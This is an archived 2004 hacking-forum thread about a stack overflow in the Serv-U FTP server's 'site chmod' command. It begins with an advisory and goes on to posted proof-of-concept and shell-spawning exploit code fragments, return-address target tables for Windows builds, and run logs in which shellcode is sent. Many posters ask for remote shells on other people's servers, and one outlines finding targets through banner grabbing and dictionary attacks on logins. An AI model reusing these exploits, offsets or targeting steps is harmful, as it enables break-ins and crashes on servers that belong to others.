An internal memory buffer may be overrun while handling "site chmod" command with a filename containg excessive data. This condition may be exploited by attackers to ultimately execute instructions with the priviledges of the serv-u process, typically administator or system.
Details:
While exectuing chmod on a nonexistent file, serv-u will call sprintf to construct response string. And the code is like sprintf(dst, "%s: No such file or directory.", filename);
The length of dst buffer is only 256 bytes.If a long filename was sent, serv-u will crash.
A writable directory is needed to exploit this vulerablity.By overwriting SEH, we have created proof-of-concept exploit successfully on win2k/xp.
Solution:
Upgrade to servu 5.0.
Credits:
kkqq <kkqq@0x557.org> has indenpendently discovered this vulerablity. All members of SST (http://www.0x557.org). lgx and eyas. Rob Beckers for indentifing and fixing this vulerablity.
About SST:
Do we really exist?
to test this just do: site chmod 777 aaaaa (more than 256 'a' ) as u can see servu is crashing .
seppel18
Jan 25 2004, 11:05 PM
When comes the shell-sploit?
pita
Jan 25 2004, 11:26 PM
here is a proof of concept written by me:
CODE
/* servupoc.c Serv-U Ftp Server Long Filename Stack Overflow Vunlnerablity Only Proof of Concept by Pita. */
connect(sock,(struct sockaddr *)&target, sizeof(target)); send(sock,user,sizeof(user)-1,0); send(sock,pass,sizeof(pass)-1,0); send(sock,buff,sizeof(buff),0); sleep(2000); // sleep a little printf("Crashed!\n");
WSACleanup(); closesocket(sock); return 0; }
this will only crash the server and u need login, pass and a writable directory... and a serv-u ftp server of course
Nexcess
Jan 26 2004, 01:00 AM
QUOTE
This condition may be exploited by attackers to ultimately execute instructions with the priviledges of the serv-u process, typically administator or system.
Forget crashing it, someone point me in the direction of cmd shell
Reaper527
Jan 26 2004, 01:01 AM
QUOTE
Linking... suftp.obj : error LNK2019: unresolved external symbol __imp__closesocket@4 referenced in function _main suftp.obj : error LNK2019: unresolved external symbol __imp__WSACleanup@0 referenced in function _main suftp.obj : error LNK2019: unresolved external symbol _sleep referenced in function _main suftp.obj : error LNK2019: unresolved external symbol __imp__send@16 referenced in function _main suftp.obj : error LNK2019: unresolved external symbol __imp__connect@12 referenced in function _main suftp.obj : error LNK2019: unresolved external symbol _snprintf referenced in function _main suftp.obj : error LNK2019: unresolved external symbol __imp__htons@4 referenced in function _main suftp.obj : error LNK2019: unresolved external symbol __imp__inet_addr@4 referenced in function _main suftp.obj : error LNK2019: unresolved external symbol __imp__socket@12 referenced in function _main suftp.obj : error LNK2019: unresolved external symbol __imp__WSAStartup@8 referenced in function _main Release/strokiller.exe : fatal error LNK1120: 10 unresolved externals
if i figure anything out i'll post tips to help anyone else having problems. btw great work on the POC
pita
Jan 26 2004, 01:02 AM
compile with lcc
Nexcess
Jan 26 2004, 01:27 AM
If anyone has the remote root / shell version please pass it along, im not a fan of killing remote ftps for no reason Thanks for the POC anyway though -Nexy
redcorp
Jan 26 2004, 06:38 AM
we want shell code we want shell code
DDosing Serv-u servers is kinda stupid but good work anyway
JaANDniET
Jan 26 2004, 07:19 AM
hehe really needs something instead of dameware sploits thx m8
hdlgp
Jan 26 2004, 08:43 AM
I try it.
jead99
Jan 26 2004, 09:59 AM
Heh, gonna try this
Thanks for sharing the info
Copkill
Jan 26 2004, 11:36 AM
I have try it but the server is not crash ;(
XtrA
Jan 26 2004, 01:44 PM
i have tryed it on a 4.0 server version and its still up..
pita
Jan 26 2004, 02:16 PM
remember u need a writable directory...
TheOther
Jan 26 2004, 02:43 PM
mmmm a buffer overrun? Lets wait till there is someone who can put a shell in it.
POC looks great, not tested yet. But why should I crash stros?
gsicht
Jan 26 2004, 03:33 PM
hm..., the eax register is overridden by the string but i can't achieve the eip. *grml* maybe only it's a dosable vulnerability
isaiah
Jan 26 2004, 03:38 PM
I bet someone already relased this but not sharing and thank god i use serv-u 5.0
ScriptGod
Jan 26 2004, 04:55 PM
QUOTE (TheOther @ Jan 26 2004, 02:43 PM)
mmmm a buffer overrun? Lets wait till there is someone who can put a shell in it.
POC looks great, not tested yet. But why should I crash stros?
well this bug is an simple buffer overflow bug. so you can execute code. it's possible to get a shell through this bug.
Divx_dude
Jan 26 2004, 05:25 PM
this exploit is LAME
flashb4ck
Jan 26 2004, 05:31 PM
is there no way to exploit without to have write access because on the most server u have only read axx ?!=!?
Viporizer
Jan 26 2004, 05:42 PM
Tryed it on my private server, and it worked. But now i have make it a server again, so it wasn't that smart of me...
pita
Jan 26 2004, 05:57 PM
here the exploit with shell
CODE
/* * serv-u 4.2 site chmod long_file_name stack overflow exp * vul discovered by kkqq 0x557 org * exp coded by mslug safechina net * Jan 25 2004 */
/* test with serv-U 4.1.0.7, 4.1.0.11 on win2k sp4 en machine*/
nice one m8 did u test it ? also which compiler did u use
BlackBoard
Jan 26 2004, 06:03 PM
serv-u 4.2 site chmod long_file_name stack overflow exp
$ gcc servu.c servu.c:19: error: syntax error before string constant servu.c: In function `main': servu.c:93: error: `bdshellcode' undeclared (first use in this function) servu.c:93: error: (Each undeclared identifier is reported only once servu.c:93: error: for each function it appears in.) servu.c:131: error: syntax error before ']' token servu.c:132: error: syntax error before ']' token servu.c:176:2: warning: no newline at end of file
TheOther
Jan 26 2004, 06:15 PM
I use ms CC++:
Compiling... servExploit.c c:\servexploit.c(18) : error C2143: syntax error : missing ')' before 'string' c:\servexploit.c(18) : error C2143: syntax error : missing '{' before 'string' c:\servexploit.c(18) : error C2059: syntax error : '<Unknown>' c:\servexploit.c(18) : error C2059: syntax error : ')' c:\servexploit.c(18) : error C2059: syntax error : ')' c:\servexploit.c(92) : error C2065: 'bdshellcode' : undeclared identifier c:\servexploit.c(92) : error C2109: subscript requires array or pointer type c:\servexploit.c(92) : error C2102: '&' requires l-value c:\servexploit.c(92) : warning C4022: 'memcpy' : pointer mismatch for actual parameter 2 c:\servexploit.c(92) : error C2198: 'memcpy' : too few actual parameters c:\servexploit.c(95) : warning C4013: 'connect_tcp' undefined; assuming extern returning int c:\servexploit.c(130) : error C2059: syntax error : ']' c:\servexploit.c(131) : error C2143: syntax error : missing ')' before ']' c:\servexploit.c(132) : warning C4022: 'memcpy' : pointer mismatch for actual parameter 2 c:\servexploit.c(132) : warning C4047: 'function' : 'const char *' differs in levels of indirection from 'int ' c:\servexploit.c(132) : warning C4024: 'strlen' : different types for formal and actual parameter 1
easternerd
Jan 26 2004, 06:27 PM
Yes the cj team released it.. but they told us not to get it to open ...
DeathDriver
Jan 26 2004, 06:35 PM
i had no problems with compiling. i did it with borlad c++builderX
the only think i had to do was interting "int connect_tcp(char *host, int port);"
int main(int argc, char **argv) { WSADATA wsa; unsigned short port; int ftpsock, ret; //...
after compiling i tried it with my servu server, but she server just shut down. may be i have do disable my firewall. or i did an other mistake...
gsicht
Jan 26 2004, 07:20 PM
QUOTE
this exploit is LAME
it's a dos exploit! pita coded this exploit to show that there's a stack overflow in servu. thanks to pita i just found the place where the eip is. i'll try to code a working exploit. you can help me if you will.
here is an example how to overwrite the eip
CODE
/* * the XXXX in buff[] is the return address * gsicht */
oh, i didn't saw the exploit from 0x557 forget my post
temp
Jan 26 2004, 07:38 PM
works great..
Z:\servu\Release>cpp1 192.168.0.10 21 test test / ******************************************* * Serv-U 4.2 site chmod stack overflow exp* * Vul discovered by kkqq 0x557 org * * Coded by mslug safechina net * *******************************************
220 Serv-U FTP Server v4.1 for WinSock ready... 331 User name okay, need password. 230 User logged in, proceed. 250 Directory changed to / [+] Shellcode sent [+] Now nc to port 53
th@nx mate ! nice work ! tried this one but no success
even with shellcode servu just crashes and doesn't open local shell too bad !
greetz, sky
Milka
Jan 26 2004, 07:57 PM
to bad this only works for serv-u where you DO have admin rights... otherwize.. a lot of servers would be (filtered)
temp
Jan 26 2004, 07:59 PM
you don't need admin rights.. just write access
the
Jan 26 2004, 08:25 PM
@ temp which compiler did u user dude ?? greetz
Nexcess
Jan 26 2004, 08:33 PM
QUOTE (the @ Jan 26 2004, 08:25 PM)
@ temp which compiler did u user dude ?? greetz
it wasnt borland.. or at least i had no luck with it Oh well, maybe someone will save me the trouble of finding the right compiler and post the binary
AlessandroIT
Jan 26 2004, 08:42 PM
Hey m8...If sm1 succesfully Code This Exploit (with shell reverse), can we Post iT to Download section? There is only a DoS exploit 4 serv-u...It is bad
TheOther
Jan 26 2004, 08:49 PM
Nice one Temp!!
But the idea of a forum is to help eachother out.
Could you share your knowledge with us?
BlackBoard
Jan 26 2004, 08:52 PM
I got still problems with compiling, i tried it with microsoft visual c++ 6.0, cygwin and lcc. Can someone tell me how i can compile it correctly. Thank You
x1`
Jan 26 2004, 09:06 PM
temp can u post your working version in download section i cant compile it either
Planquadrat
Jan 26 2004, 09:08 PM
here is anotherone for serv-u 3.x and 4.x i have succesfull comiled it with MS C++
if(bind(s2,(LPSOCKADDR)&server,sizeof(server))==SOCKET_ERROR) { printf("[-] Bind port on %s:%d error.\n", cbHost, shport); printf("[-] You must run nc get the shell.\n"); bLocal = FALSE; //closesocket(s2); //__leave; } else { printf("[+] Bind port on %s:%d success.\n", cbHost, shport); listen(s2, 1); } }
[type]: 0 0x7ffa4a1b Serv-U v3.0.0.20~v4.1.0.11 GB 2K/XP ALL 1 0x7ffa2186 Serv-U v3.0.0.20~v4.1.0.11 BG 2K/XP ALL 2 0x6dee6713 Serv-U v3.0.0.20~v4.1.0.11 KR 2K SP4 3 0x77886713 Serv-U v3.0.0.20~v4.1.0.11 EN 2K SP4 4 0x76b42a3a Serv-U v3.0.0.20~v4.1.0.11 EN XP SP1
BlackBoard
Jan 26 2004, 09:44 PM
got also error with 4 c++ compiler programs, whats my mistake? why do you just post the sourcecode and not the exe file?
TheOther
Jan 26 2004, 10:27 PM
I've got no problem to compile it under ms C++.
Next problem is to find targets en to find the OS.
To find some, I will try to get the banners on port 21 and then do a dict-attack to grant access.
But what can we use to find out what kind of OS-edition they are using?
Or do you know better ways to find targets?
Planquadrat
Jan 26 2004, 10:52 PM
@BlackBoard
sorry but i dont think that's a good idea to post a DL link here for the .exe file because (maby) to many kiddies are take it to rehacking and even if you dont get a shell with this sploit the server is crashed 100% and that is not in my interest.
SkyRaVeR
Jan 26 2004, 11:40 PM
yeah - think so, too... kiddies who don't know @least how 2 compile shut not rehaXX ! no .exe from my side - btw. th@nx for the servu3/4 thingie... worXX fine 4 me !
Nexcess
Jan 27 2004, 12:03 AM
QUOTE (SkyRaVeR @ Jan 26 2004, 11:40 PM)
yeah - think so, too... kiddies who don't know @least how 2 compile shut not rehaXX ! no .exe from my side - btw. th@nx for the servu3/4 thingie... worXX fine 4 me !
because yeah, people who can't type in plain english are no where near as bad off as people who cant get something compiled.
heh...
vnet576
Jan 27 2004, 12:10 AM
What he's saying is that you should not be breaking into other people's machines if you can't even understand the code. And don't bullshit me and say that you're gonna use this on you're own server...you don't need the exploit w/ shell to audit you're server..the regular POC should suffice.
Train25
Jan 27 2004, 12:23 AM
QUOTE (vnet576 @ Jan 26 2004, 08:10 PM)
What he's saying is that you should not be breaking into other people's machines if you can't even understand the code. And don't bullshit me and say that you're gonna use this on you're own server...you don't need the exploit w/ shell to audit you're server..the regular POC should suffice.
I think its time to close registration and clean the board of all the script kiddies. Nothing ticks me off more then having to read through script kiddy comments asking to have it compiled and handed to them on a silver platter. If they dont know how to compile their own code then they should just stop typing until they have something interesting to say.
Thats my rant for the week
Nexcess
Jan 27 2004, 12:43 AM
QUOTE
I think its time to close registration and clean the board of all the script kiddies.
Cool! Can we purge the egomaniacs too? Not everyone has time to learn a second or third language. Even if they try, you can't just pick up a 'learn c in 24 hours' book and be coder of the year tommorrow.
edit: whats bad? this is bad
88 replies Attached File ( Number of downloads: 808 ) <--- random example
Ill take the 'script kids' over the leechers any day who can't even be troubled to say thank you.
Sw0rdfish
Jan 27 2004, 01:21 AM
Get compiled, right!! But not shell code is spawned on port 53 >_< Only crashes de servu (Tested on my computer)
Copkill
Jan 27 2004, 07:31 AM
i have compiled but become no shell
[+] Connect to xxx.xx.xx.172:666 success. [-] Bind port on xx.xx.xx.xxx:53 error. <----error ??? [-] You must run nc get the shell. [+] Recv: 220 ready... [+] Send: USER Cop [+] Recv: 331 User name okay, need password. [+] Send: PASS Cop [+] Recv: 230 User logged in, proceed. [+] Send: TYPE I [+] Recv: 200 Type set to I. [+] Send shellcode 791 bytes. [+] If you don't have a shell it didn't work.
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.